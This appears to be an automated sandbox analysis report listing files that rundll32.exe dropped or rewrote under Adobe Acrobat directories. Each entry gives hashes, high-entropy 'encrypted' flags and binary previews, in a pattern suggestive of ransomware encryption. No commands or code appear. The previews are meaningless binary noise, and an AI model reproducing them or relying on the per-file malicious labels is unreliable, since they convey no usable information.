......)c......h.....P;`_V.......z.-...g..-..NT.....'.....b..:....l.....7.TN.Qb....I..Z..r...].V.V$........(.rP_.pm$.K[....q............s>...M......QV.._i...,.I!.$kD"..2.......<ye.......J...:s1._W.ezS...O.$....2....r.%.DQ.....J.R..,.n..>.1.{...YZ;.

C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Acrobat Pro DC.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	146784
Entropy (8bit):	7.998702680903867
Encrypted:	true
SSDEEP:	3072:psazJP/xInesmZC6foGSbMxuE1xjejCOJJrHspGaWZH27jF5LCgUBnCPk:psaz5/xsiLabejUJyIalF5Vgz
MD5:	F72F621443D1190B74EA5EF318830681
SHA1:	0B688E564A0D505D3A9A7380380C39992FD327A6
SHA-256:	B8A023DE75FC68488077D7D42913C3EB505063CF4B23887F8148A4424C85595A
SHA-512:	61E03D13DAB174880178D2EABB0967A0B7E279DA0F7192BE8F8EB6C02BC9E69FDB4B6FCEAF4CAE8B4EC9FCC2B8EEDF3B9DFC570DFE483C0E70983AB5F3BA0AE5
Malicious:	false
Preview:	.5R.n.$....P.^........;.d.:".t...;.._.`..Z4......e..}..H.?&N.{.cj.F..... n.a...q...u8+_.KN.x$t.hd..)..I.N).{M..6M..K4.^..N.=.I..k....[....7.Ga...y..%i.Ss.......3...q50...NiJ.{Bg.x.8.Ra.6.~y>...f.O...Y.......Z.g^..].=.'.z.3...v.py...........EB.s...T.I..$...D9..q.o.i.r;N...?.. .g.,.r(...s=.vn.. ...c..q`...L..$...oG..3;c......'....Z......@Xp...b../fX...T......L.^]5...M...\...s;a#.7..P...t1..A...C}][U^$\|.;.....{..Aq.........#.?.}..;.X.B.Ud........J...@.\.V..!.....^.y...N..._..v.....>.S.+2.......r..<GKI$.i.c.E.U&........V..h.....e..u..F...bE...9.c#._-Y.]Un..6......D..m[5d...(.. .s.,......}..#..Ho..H..031.kO<.@.o...q.N..;KB"5...x.......o.....m.T.v.R.Nfk.B.z.S..M...OIf..Z...^]b5.......!..q..>...[Z.......Vp.tI..G...N.....t....i......."......$....g.zQ....x.q..9V.w?.8a.ca..".........@.....'..........:...#k.6chb....#.V..~..a>......DL...LH..1.....ri@=.'.T\|..._.$D.9UY....n.(Q\|.5.:.f.D..k.c9j..(..!....?ieH.-1.Ls. ..C..r%jmC....I....5UA..E.......

C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Cloud Services.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	310544
Entropy (8bit):	7.999458594093277
Encrypted:	true
SSDEEP:	6144:YemWqh1sBMFyRejO0jz7Gd5QZWbIm43gsWkNcLsLKh/0nGK/DLua:YtP+myAvjzad2U7eTWzL6q/0nGKLL1
MD5:	0050FA53DB29D55D8878E171CDBA1987
SHA1:	667E459129032F43F36C6F3BD7E8CE4117ECC44D
SHA-256:	DCA24B8C07F6F6A4BAD5462F66853A3C5FD3DCE204A9C2B75FA19FBD4052F613
SHA-512:	FA20BB046467D306F5E5C766303CCC4D2CB0E6A48AA2F79C3ED64AF2E329A082C73BCD8A4F92E8F312DD65F2D13BD6A52610DD4A8ED05980D3EFB6969EB4C5A5
Malicious:	false
Preview:	..:.=A.+...,..V..w...`N.....xgB..m.3....>. 0..r........0.......Bo.u0.g....C...SQ.U.Ix....'.\|.-.p...F.65[.z..1.4G..y.p].C...To%.8L.l.M.g..A..v..8....P../..`5J\|.g.@.....S..Fx.M..........g..[....<9...A..DY.....X..z8..6...h.....l..u.79..'...H...\|m..y....b..lW\|4N..(...W3.........m.M..,7N}.kXz..(.tk....<s..1.p.[..o..a<..2.eK..d..W..164..)H.R..h^...Tw~....&Y.........h."q.[8.....C\.V.,.\V.!x...z..:.f.R%. #..I......k.....<%%.k..$.n..p.u4.....pi.....7../\........S.>.Y.&..Cd.[..O.K..7.2...c..pkg.p...1.B..7xS..].UD.vg"NC.T{%.........wQ.'wD..p.........`..c.a..L.\|.......q.i.....(.\.....p..v.r9.%...q9O.=eL............t..P<..A)r,F..]Y.......<\...kK.....cn"..H7.(.._.$.vJ..v{..gA&O..!...n0q....ET....T.3.^.u...PF.6......{ ....n..@.......#...W.........:9>.(..y6_..x..u.`..R.?.j.).....J.`...8{Y.GW.2Y.Zi..Fif.....x....p..R..f*..+x-.4.p....i.ekk...I.3...o../b.v..R.7.BR.+..../C.nh...Lpd..G.M...)..Ly#......<Rf2....^.:.<E.).9.or.P.."cw..'\|.GeuDT.=.Z+.!.....k.c;.fG.C\|

C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	426016
Entropy (8bit):	7.999613056073564
Encrypted:	true
SSDEEP:	6144:gdPAxLjVwqv6wP0AhmUK+W4p1QxMFmi2rH1FV4VyK0oNkHLh1+APzUcFTbV:p1D6yE4p132rVFg0oerh1iWTbV
MD5:	03ED00BF86E536B513F7EF53414FE98F
SHA1:	88D72037B36AC669ABB30E2C657927A73A168113
SHA-256:	54696F64DF1168D271D8F0010C07D9E792AAD553D793711D8F9C1AB910BF1813
SHA-512:	E84C8E64958BD60C088D63F72330D1D5C051CB1F2F91F7EC20CD71590D3C1A53D1820F1208DA4E3767FAE756E059F10121CA1ACCB91E1B486C7F68C4E424593E
Malicious:	false
Preview:	..:.=A.+...,..V...t..B..].(..C3....._..i.4.5.7./....H....#_.OR(=.=...kB.........;0...Y$F^.~....N...5..H.../.....F.s...d.j..a4.C.e....-.B.^.:."p.x)e2..........-.k(K....=...zF.5.`K..Qx..MJ}\.5M>A...".u.V...[...m.+.h.=k.F..2.^..,2.....v....:...Iy.....i.Y..d..i....y.e.^..>W}.4..q$.z.e...W.q.......{.$.c..K.^......F.[+a.NX!......?.@.U&G&K17."..L..;]......;9ML=r...:j.,.?70..sH.....\|.A.C@.k..4....&.Bmw'.%{-.&.u.s...i..(.%..!.:..m5~.(y..d.%.7?Y.u3..Y......L.w..8..\|.A...0..{........@..sn=)..U...Q.k....<x5...?.........f.h%t...s=....O..0.k....Hi...Q.v.!....-0<......T...{.%...9..$m.3;..X....-......e...!....y.H..0 ....%D......>.Qm.a@..J......\|....q1..O.FYMu4.p.L.....X....O..T5.<vl.h.y......CU~..9.:...K -.xv...9...".'..bmRW..u.Nx.....?:.[$.L...\.n.<x......W6+.:/.J..*......4 ...%.\|.n.A..........N.{...NB..K.....T.^..a.H..-.......s.]n.@..dw.k.{.2.%...t?...X.".}B....n.-r...,.y.7x...6..z...O.......U.,.tp.b..L..\|......M.'.i[t...^F..wt..U..`a.we.x.3;...QE"..

C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Bus Schedule.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	938128
Entropy (8bit):	7.999782758623809
Encrypted:	true
SSDEEP:	24576:e9QVFx1rN59Lbh1akuuAk/Oh3RDMBeZwnR5:f7xrh1akuic3dMBeZwR5
MD5:	7615B74372672EE1FB159AA6B0259CDC
SHA1:	C44609A7F9064FD7F41BEEC3286B6E82AE5B89EF
SHA-256:	6D9AC68FD729FECAC87042389FF0C3F6BD6B45B290558A97C9497048109B7F34
SHA-512:	EEAE456F48F647D0A6A3554F2D691D8609E0055F1713FB0B37C1A9447287BE6F60C3A1F019D3CB0A7F47693CF2A81140238FF08587A48F60194885777AA03264
Malicious:	false
Preview:	..:.=A.+...,..V`...q...>.....dI./m....2D.3...K.1O......<..........cv.......$^R"3....p0y.7.&5...4jt....Z.\I.B.0.L!..".%K..-.N-#...w...........c..Q5.'...6g..$..^.@\|...\F@..gL.a..1o.Y..r..F.....;.=..:....X......4.q...g9T?......u._.C.<q...$...._8.j..[..k......J-\ ~......$.dp.,`W1...<...\.zo...f...w...`..M.Ch.q..........r.\|...?G.IX.R#={.6...j....R.U..it ~.R.%_X.UO.....X...8....X.p..){..,.n....O....^~........E....V.TcM^....0...).......1.f3.q.?..'..Pw..-.<.N.K.r....^.qF.<v..F......!P5i.3.-s..S.1....4...1...~/.F{..Q.....^.j........B"2...m.-T"........L] ..DsK....oC.. ..l.."N...B^..j.`....M..I.~.M.9..._/.>q.......b......<D8.0TE..D.#......?...".+.w.Y.p.-.y..(....e.q.K.9......kI...N.. .=. &BfG....h.a.D.F...:D.\-..3.D..Z.=..:g.?`...Iv..w?;...B...:.>;..@....+IX.C;t...T....U...E/Tr~..J......H..<4..f....8...n.T..D(D.......[..W.............g.k..b..KRA ..U....!..m<...p`..m,......q..$iR<.1.K\|E.~.....T..4......]..e9.E....b.'..).u.`..Zk.[\|.[.k..\..

C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Complex Machine.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	181440
Entropy (8bit):	7.998937323768341
Encrypted:	true
SSDEEP:	3072:0VnYUlpm11h+/EvjvVm8UhGwsQWd4YGCh9sJ7+PqTgkjhVpZOIuqW9YKYc+GSegm:oll6tvRJUhGwsQWmo0+AgkjhnQzYK1gm
MD5:	904E09576D498F7CF5F710D43CD9DC83
SHA1:	196925E106B1D719A8B8022EFFFAAABFA7D8D255
SHA-256:	3327F4C54CCBF3C662075BDC8B008048C2B39E3E8EECADA0A26DE16806E788DF
SHA-512:	9E387AC747AA05298225C3B3CA5E0DC98552404FD828BEBB80D5E0502A28032356BCA670F4F8DF5F98902522C5FC4ED4B6DF701DDFDA52E3388BFEAE32367870
Malicious:	false
Preview:	.5R.n.$....P.^.;...g.U....l&...K....$a.....Q......p.QQ...(..Id?.p3m.Oaa...~r.:]...b.G...?.U..L....n......2).,...W`7.p.M00.e..S..^..."5.<.lU.y........x....B.g....$F(....QW4rz.z.En!...FM"g\|.@.....y.o@K#...\|z\.duB...AL.j.R.<!..m...L...2........P.M.....}.S.k.)...[..xZ\.x..Y.??.........\..B#...6..~...%.;...+)>...E..R...~..p..u8..xU.a....`.auq7.....]..)<M.uh..cb....d..L.;v.%..g.!...B......9...4>...+.(.e..r.q..y3.)z.k.%....x..%...].H.KW4.Zy.....~Y@.....c....q...k2...W..\|.Wy).a.s..-.#B@.X..I....p..F.].. [....8..s..[(..\|......~.....XSe.....?f. ..Gy.2..?..B.......Xd...).y+.I..U/?..h..C....?.i3n....#.W........=.r.O.;I..{U1...E.i....)..4..P@..X!.hRR...a.......q3....C.iY...iV:..{=...;..P.g[...H.[?..b...o..D..@..1w.j.N.MT.4a........dQl.N..+..a.&-..CkmI#0.{.:...8...S.......S...@$@.u..KP?......y....z...5..\|..t.?=.C...A9/8...n........._..........j.9..7.f)..@A..G.F.K?.$...%.J._ax..H.t./z1......F......S..^..?B.L:...3.....il......Z.)._...h...*.d.n.

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42464
Entropy (8bit):	7.996551625428287
Encrypted:	true
SSDEEP:	768:2WeM9Yis1QE8C3DOzpXbF/KIdu2/wU5jdaxwb9Gnu5VV2f+F:coYi2PyzpL4x2YU5js+Cuh
MD5:	8DEB52E38E88FE88E9F9B68B5AD4F068
SHA1:	01DAFE4ECD356E8B7C2C396C721F53073F13985F
SHA-256:	46F039535DD91FD96B0F864038E21CDA11DD36F3F94883B9C819C293E64AAC86
SHA-512:	6928CED62A0F0E087E5CB2D71E785BA0210332D8C8F793BAF1A0B99F93EE2B8CBF83084D9E1648BF57154494ED1219D05305BCA2A3EC3E5F036A84E200CB6AB7
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$.......W...>......p..c..:M...o.>.h.....u5.K...4Al.vv8..L.}.B&.t7.~.....v..#Vb.M.H8UF...(cY...(...Q.UA....T.<.A+Jrw...l^...k..A,.p.a.%...]..m";.C..>mQ.l..l..ya.....%/..o.z..m.....'9.lk..;Z.{4.E..&.....x.t.....e.%..B.........B..T....M.S.a._.....!.!...&{...Q.f>/.....@....{...]......e..:..2....;{.......^......PG.$v....B![3C...9...0(.&$`.l.0...SDF[.\|...I E.%L.f=......g...9.....x..y.2\|..<7.Hi.`.%S.U.eR((......N0..9....Yf....dP...P(.b3....&M.]...5#...'P..._..Jf}...s.$.F....)..:^........@.ib..y._4.Wh...v....^....{.NI._CW.E.M...... .z..^S.Y.-f_.?....B.-_.8..M....S.rR..z....6...\|.7..}...........f.P.sK}...Q(.....b>.....J._.ce..~wz5m..L..4.r3.!KP.xq....@.<O.x..z.5..@dR...Pp..G...v....U.f.vv.I/.a;L.$&{s.G.ZSS..X..$.4...l......$.(".w.!$...;.. ......J....J..(..t..Ny;.....yS.....J.sXrZ.e....".]...^....5.".....+..f......S....\|M.rW..kun.q.t.2....i6..w.nO.y0..KWX{.>..c.S.`T'U..W....3.B.......o...+T.*,Y..."U..

C:\Program Files\Adobe\Acrobat DC\Acrobat\cr_win_client_config.cfg

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	7.041503900708577
Encrypted:	false
SSDEEP:	3:FpvzaiybHdhvuDDHQNp55oPqfBxEBQlkHBgOs0rp7NMdHeUIbmv6PB6fXxWxDy4C:TvzpybSXQNxlb0rp7gHeUIyiQidWP
MD5:	00A0C2920AFAB3E9857A1F9323EF8449
SHA1:	D3BA27E1582D1A955D6CAF28417DECE2571F694D
SHA-256:	225F7B4E55743291C58C6A1383617623D8123A5CD02FA36E8134DB0E8B01CF4D
SHA-512:	3B5A9E05800C697D295581786AFDEFC309123C3124154C92DA10AF0FDEA3C71D6EDDD980404011BD5A4BE10E698F66920BFEF5D7B6A99218C73C829217C7C2AE
Malicious:	false
Preview:	...J........d.U.+.....Ava!29.....\|..U-.X..b&y.hL..5.5..s..O.....E.hO..L.......c.T..x..."..5".....b8I\|.\....j..^y'o.!i........=...x/.,v...........2b.;(.Z.k>.6dW...w.................T...}..A......Y..w..

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\CompareMarkers.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	22352
Entropy (8bit):	7.992679755500086
Encrypted:	true
SSDEEP:	384:Y29Xa8TZFvjpc3CMSVz+V1e0/hUqm6UIo5AuwpNiXBV1sxqTdYFlNWlWTUVyr/:15jTK3CGdhRm6UQucqpYFlN+fO/
MD5:	BDAED882A47BBCFF7839B8DC9E72B2BF
SHA1:	B2756BBC169827564AF893606D2C9EA42ACFBD09
SHA-256:	3D206B43789C07F88981F15F57A0899FF9F3FFB1E5CBBEC77966FCDF88486DD9
SHA-512:	D9D97BF3A7E745212F91FFF86DA94F0ECBA417F46706629EA1ACFD9A4B2C4413CE085B37058176C91D3153B865A0FD4850F9579E899DCB46DEFD9467327D37FC
Malicious:	false
Preview:	...F.`.D.....`b......>..}.F.(.......JQ.....ha....V.?.t=.....}...v....;Id../......C......F...>:...E's......~7y.8.In.qdhX3IU....f..W...8D..I...=m....#.....;.1..jm.....n......m.SXI..%,..v?......t....S.}E..v0..a.....$..r...s.....R&..h4.+....k.S...1\|..g.UT..7..um......y.K.+..Mx..."{........E3.S...O.......K.i1..O....._...jN..J..,..V8"@...V@w..q=.m.<.9....~,&..5.X.#?.. `..X8s.'....>.....`t....t.b..q3..o1..].;..[._i(^.Pb&..B..........r.~..$...pcF..7..x$..J._...pcR)..],..........K..(.....j..#....Y./Rk..g1.u...0..A..~U_......g..)..K../.....).!.&6.....#8.....dk..i....&.X_..`.!.W..a./.%.....K.aj.........$z.....&K.C+.Q3.4F.i.,...b.&.\......./.!.j..Q..."..1V..S.o.......Q..t........(5....A.k.d........ii+....(...'.C...FZC...R.1.."..,....D........@......7........b..:......IJ..K..W1OQ.@<.5.(]...jn.....g.J..\.......h..Y.r...u.`bs\|<..1..V...]]..94.R7f.%.3Q.n.t.w.].i.#....s....cB.@..L......q^....W.9...c..O.kr.e.~%..A.e[).X.8.Y..!...}.x-O ..U.RWt..k..+

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57232
Entropy (8bit):	7.997099953454312
Encrypted:	true
SSDEEP:	768:7vcU72AxxkcnKyBR+FoLWcrlFgv1zQpqOHdpjKplHDVX3R+yxULFfj9TO3:QATkcnHiSWo0zTOHdh6ZJR+h9To
MD5:	DE8AAAC1F747F8325F9156574726B2D0
SHA1:	233F12A89BC2193C37B4A7C631A4CF6AE41CD9A2
SHA-256:	344AAB23665328B2E9F7628430F27F98EE70D4B1C022C9ACEBCB1D3BDCA382EC
SHA-512:	27DF29695F118F14AFDEFCEEF22166E0E0F504B4566E8D7D8B379C0BCB0C78BC4FEDA2CF540D8B08790937B3E1806B00B491FFBB51B5A19DDF12F53006C53214
Malicious:	false
Preview:	...F.`.D.....`b....C..v%....7N%8.S...j......=.{....._.f....._.f.L...nLX.7....&;~.....w5...#..sK....a.<<...Z.W...x7...F...(..}...O.U...v^..&.6.@.JBn...l..I.6....]...x.h.....'...9..t....;...x......Tb.........~(.q..>Y.._...g:..I./....].{s...Q.m...fxw.G#3.>......,Q...}...`ps.......xO!.0.... ;.R@.......St8r.I......:..\!.x....q.:..8........$.G\..:.f..}P..}.15!..aH.......Is.u...u.....K)..T4.z..+U.h#$6q..Z!Gl...... .@v.s.y.Z.S];mZw..y.Zb9........DXK...V.6(\ cfG...a/0q......&N..=....i.....q..Jc..Ja.3...$.......<...H.<......bL..$f%.....].,6.".%n.$.$..xC.$...h./T.AE.]......9.?.......[W.x..r...rCO..v..;a]:-...n..`.9i.&....i_\......ca.....Q\...&H....v...b.I...c.\L...k...B......~o.M..Er...bL.).@.\e...h_.I.x&..._.l.l%...E..D............&r....m;.;./.5%....\=R.x.G6Y.Z..A......I8..0x...k.4.a5.(@...@...l......Z......G..$Y.l...\|.E?.J....o-.l.........Du.4"......y.n....z..a.....Uml...^...l5..H..z..5......H....\|XK..;*rP.3.c...\|Zrht'2..L.\N.C.H\|C.}.<

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Faces.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	33024
Entropy (8bit):	7.994447157042604
Encrypted:	true
SSDEEP:	768:LhMEyQp8wUJX28xLLXORe6oFI/C6i32KX:LSQp8trxHXlwJi32KX
MD5:	8B7A39EBCCBDD1496FDCC7A37FFF4B4D
SHA1:	654F181AC7CFB671098A423FB05D376746C845AA
SHA-256:	2F9BAC73DC71237B5909239DE832014662DA270B80FA4D46982271BD794DB9C7
SHA-512:	63A480E9D6D8983CC9223579ED8BB9C19A1D79E0CE6EBADA8A47AB1696D91A6672985E7A5AC2DC7C4CB9529730D7916C3D76C1337AE8459181496D7C07F2EFE6
Malicious:	false
Preview:	.5R.n.$....P.^.1.....y;....%(p..,...YP...}:.i.....$w\O...............U\...n.I.:.....qx.]Rd..&.9sD.......+. ..AQ/.........k.I\....=..}r.Odu.Z4L.....oL..xt.?....9.>Q.f.Y.}.5....%...... .=.../}4=...uvX. .Q.m........@..^O.a..J.m.3]...}<(.9:.....J._.......!.x:.g\|)......TZ..\|E..X.-..H6.8.T..n..E...y.ZK...R.3(...M.AT\...y..X..........Y!.ez...I...F.X..:....^&i'(...;./..U...:^LC!&..`a.@A.9q...%...............o..jS...<qy,..G?.l).[...o[>.....f>9...\|..$.w....2qO..;F....85..1D.....P.._=``.CD.u.\|.@.ylmy..'.=...c9.Dk..-e.W...m.[U3........P..q...p'........:9.:...L.m....&S,.2=........B....-.5./.....%..p...I!.x...Z..'..'.../V5.(a.>X.<...O...i..cr..3...rMeY.$..........uM.$w.@.....#I.....r.5.U.wh......2r.......z@vN.X.\..=._i^..u....z5;.F6+.=.."h.....^..:.H!..8.6..Wl.v&w....=^.+.YM.@..J.i&.........i.r[..3..)...q~<G...p...aMv.....45rE..+8U....L..=..#.m..L..}E;.3.].w....C.S(.r...OE.m3,N.?.6@.q..Y.D(.Z.....}......j/.o.g...cl../..f.!C..O

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Pointers.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	46912
Entropy (8bit):	7.996409657551626
Encrypted:	true
SSDEEP:	768:35nxi+q0WxgzA8nVCsn/luqV29x1vPi00fheZOgDSKJTXCawZMbFkkrjyazadvet:35nAt0WqzvnZndto1vPi0Ihe06JTXGZc
MD5:	843BB773C8D1BA8223F0112DBD67839E
SHA1:	C9286E251C8D44B6977AAC6EA13B0CDC5B149D31
SHA-256:	9323CD9044BC2ED7C954B3F60DA385012E40526D9FF1D4C7D1FF2CF5B7173845
SHA-512:	EB18C9B32BD9AD0BBD4369BBF76B0FF912935C6CBD78A3FCB3F6DC2B75D28F6D9501FFDD7F1F6D9D6DE02B4196DA9E903C2EA6BCEA033B439E7E7CCB4644CF99
Malicious:	false
Preview:	.5R.n.$....P.^......tJPr...].;\u'.k.....].2.....o....\.J...'q..RPw..V.....$.....q;.E.I1.........z..4....<RVh{]e2.@.Sj..b.:..dzO.c.N... ,..r6a.......@.#.9......1...yL.J.Q6f.\..X......T...H...`......\z...!.+....E..z.YV..*.e...hL....0k%N.K...e8..45.t \|......s.z.V?.?..W.".(2n......x.D..<......F~...[..wp.D[...w.8..{3f ......].=x....e....nY...^..@...E....M..q.....g..<L.~..a.O...... ..K$O.6......Y.W....7.+.N...j...V.{%U..O...'..Ka..p=.@.....\|)?..p..l.c.[2.A[.U3\...Uk(d.I...bE.-0..a.r.:......'.r.a..!.Hu...."{YD.....zi.~.l5.c8`..^..jC.y.fzE... ....k...9.h..j...5b..k0i.^..Mj.<I.,.i.....?F.{....w....@.=...8...d(;V..ic."M.l.RY...2]......{bY._...3.8Hx.(T.\..\|.bkx .q..6..}....RW.....)./.J.dK..{....-{..W.I...n.f_C{w.T.9w_............C.u=........D.....S...I.`.mx'KD..l.)v@k.O..j!..\|....1u."h..g.6@.H.&%....P..O.3T....=.....$vZx...At....'k..5.KUFO..+...........N....zv...g.e.Z..S..3j]....../S..-htM..h5H;........\|..7.....g3;..7wL\.i.]}.Q..4..].

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\SignHere.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	40736
Entropy (8bit):	7.995019203823994
Encrypted:	true
SSDEEP:	768:sR0uEZoveNwNIhWFkWVEE3HvtYnudgaln85Xi6lZeHOgFb1RJJPXEo:T2WhzWVVH2nygaSWugFzMo
MD5:	9EFCCF7A9833EAEC575BCCCECD69AA09
SHA1:	095EED709239DFECBC8F3D0BDA6FAAD8FEB55EDA
SHA-256:	F5ACF85FAE9A5694FA178E86936A0F1690742E0F127686677F8CB919CB7BE8A7
SHA-512:	88935F3EB94B80169EB9182C9D4275822A5880798704FB91DAE13E2709CD0047C99B162314439BB2DD5CF28001F97903F1D3DC1499EBC0CDE4C18D4BF55A5BE3
Malicious:	false
Preview:	.5R.n.$....P.^....ha.z...sc.9..~...m.L.+..R.+dx....=p.O.O.M.tP@Q.z[......G}.L..].W....sED..Do.o.C.......!.+...o..l~c.s. ......`d.x5.....Oh...p.l.....-@.Tr..Ap....@. .>A...<a.`.,.\...R...p...............'.JA...?........-..S3S..3.=.X6..Hc.4...[~.../+......R...v.}wU-.f.YDE........@.uT.....R...k.K.O.IF..)..j...6.=..u.sf.....\.......X...k. }#k...'....yb.....Ck.....&.i.!.p.!+Tks.dy.u_>.{.B...8......k...O.x.;`......`..i...Q.e.u..~.S.....T...K.<).....5.b.u.ABR.r.Et..%o.'Qn6.;.J(F...g...`......w...TS0.!..3.F....\|i`.._.s.J;\4......'.....M.......U7=...p..Z.w.d.....[......v.j.&k..n.7.A.Y.N.....f@].....=sd}.O".....nd..J..^o...i........rN...+.}..{...V..{.!...I...ghE+:L.\|.......UfC](...Q...........$....$..w^)v.c4..`....I.w..v.h......:e.Q.C-R...f.".Z.S.....tK .U">`4....Vk0'WE..{Z.K.X2;..x..{..I....k ...0t>......p..T+.';e..L&;...S.^d....:D.L8.f..b......bu.C...^..Ia..Dkq.J..5i..(D....]...I..k...6.4.F..K..F.5q....(C...\|....d...AF.h......"....

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Standard.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	115968
Entropy (8bit):	7.998456850021704
Encrypted:	true
SSDEEP:	1536:1ZHMlQwazLPcZkyjmGEXsstvuHo4TF3DCyblsXIrFQhvZIxkYqaYfoxwyCJOqxNB:1Z3PJyZEqTF3DCR0FQhV5fJxyyaiV
MD5:	E2D5BEC0AC37F7B13A226659A3122FB0
SHA1:	08A679C84FFCACB93081BAA691C5D983DB1C9795
SHA-256:	93352B82CAE27427D005E95F857E23FB20B369A8812B716EF8976F031B0672EA
SHA-512:	C4BF8E41A46A757C8BED94443045989485E1B7A067666E8F36345FA595A0075AF84568CE0CEEF47589A6075781CC4C6A8BFE24D4862A3B209713188EE8D7EDEC
Malicious:	false
Preview:	..J..{....^.b.......\|..o...M.c.W.....tO..S..s.R...gz.&Q..0FZ..p...@f4d..K..`...mH##._.u..........q.u....._x....Ic.".r..D..rM.9.K.d.Y..u.X>...t...V!@.KJ.._.......`.Q...6Y....l...N(../...a....>._D.IT=u1.... tD.N6...z..%.>x=...k....i3.q...Yj....j...@Qx......)..\|...w8...a..MY...$.&.D...e.y...B.@...v..g[....-/k[..=.......=TY.f.fKa.%...$.......).~.q...@..'./.`.-.....4.yv.....P....f!-9.q......._\|....(.Z".&.......1.....c"...0..].1@O...a."f..?_..S....a.&..#&%...T......2t.[.lz.......U.^yc./..llB....<..4$..y._....?..d..B.w.....f..GP(PG..L....n}.x.#..P....Qa.=.......G...;jo.c.......3.Xi....PmmR...4.>.F,gNE....r,.....$h..~..u.._.Q.~..lG.P5....f!t...w..m.D.....Q......W9...a.d.q........~hmS.T.&.~_.:`..u..]..M...../.....W.......F...3"...Lk..Xr;....[..A.E..j...u6.=&-\|....y..Rn.N.a...4..7.<....y..k/}..B9.....[....8_..#9...j..bg.y.q.n..1..F(C..#p.}.....t..Y...P.G&.3...:S......@4.Ea...X.....T.k.:.......:...u.+..B..v....c..HX2.......~.....C ..i.5E...~.a...V.....y$T

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	108768
Entropy (8bit):	7.998495117481608
Encrypted:	true
SSDEEP:	3072:vB2yhcs+uPGVoF22Hs9Y29ldD49kY5bE3n1TJTt4uWxnVv:52ydRF22haD4H5bElxt4Vx9
MD5:	73DDED8853B1908243DE87DB18DFC9FE
SHA1:	C858840B6F7295E514D2C5D48C8125CF8BA6CAB1
SHA-256:	CB9DB022203A877735A249D30182A47BF40089C9634B12BFB4AF3E3F32BC0CBC
SHA-512:	6CADC12CAD38933871A4046F0E9BA9893145567E72844660B264647FC6C5A2152EA295B627196E7654F00280784C1BB3D4A3C11049B519D1DC13E94F633559A4
Malicious:	false
Preview:	.5R.n.$....P.^.....!V.~>.(.f..P.L.S..!.^.i..^....0......=,.0...l...8.Q....I=.....5.1o..W^\|...`.X.sA.f..?....m..p..p.......{..E.]...<}TA.c../.ZN.`..1..0w.@\|.I~.%..6.z...8.(%\|p../r@...=h....`....V..<V..........Cx.h.. .-.{.:;9.BU6..v!...(E.t.JkK';...W?...).......[.`..G .-.GaU.......^x.7.Y....s.....r......M.u#.\|YT.3....7].....%y{.tS.7......D_v.....>z.._.EV.'b2.&>jm\?..r.....e...O......BI.Y.nd...KP....Vi..y` 4!j.[.%..T-.Q...nL....!...mB)+..pa.qE..o....y...........W.&........j5..+/W..)X...A..L.7-..9..R.&........#..7..". ]........e.....~7.d....*..(....L:._th.....>.[?o..`.r........\|.Y.z.]`.w..2c.ZL^i.P.R/...?........../T]C.........D.6g<'q.,..W.9.....df.Y........'2....~S..E.........T.{..X.1...^....G.T2.. &..2.#...N...-4.....u4"lH.H....z#...c..4..bL.X.....lM\z.....K......u.n.<.S...jG.3;..5.\|........^3.G,.p{.3P....1.........q4........b.0.N.t.E~.9.59.....Ai?.U........zkP..K.7._..,.d.0C......J)./.........QF7.."+....N._.wA.5.....4\%9..r\|..V.Tm ......G

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\Words.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	112512
Entropy (8bit):	7.998592962688274
Encrypted:	true
SSDEEP:	3072:tbgnIB/iFSATl1QgPp1ifz2Hfdez0i5jODp:BsIN0Tl1zPp1ifzagz1j+p
MD5:	A7F17CE9E170A0189892FCF73FD6CA20
SHA1:	DA28409077F76CB05FE9F08DD3E83AB36126977C
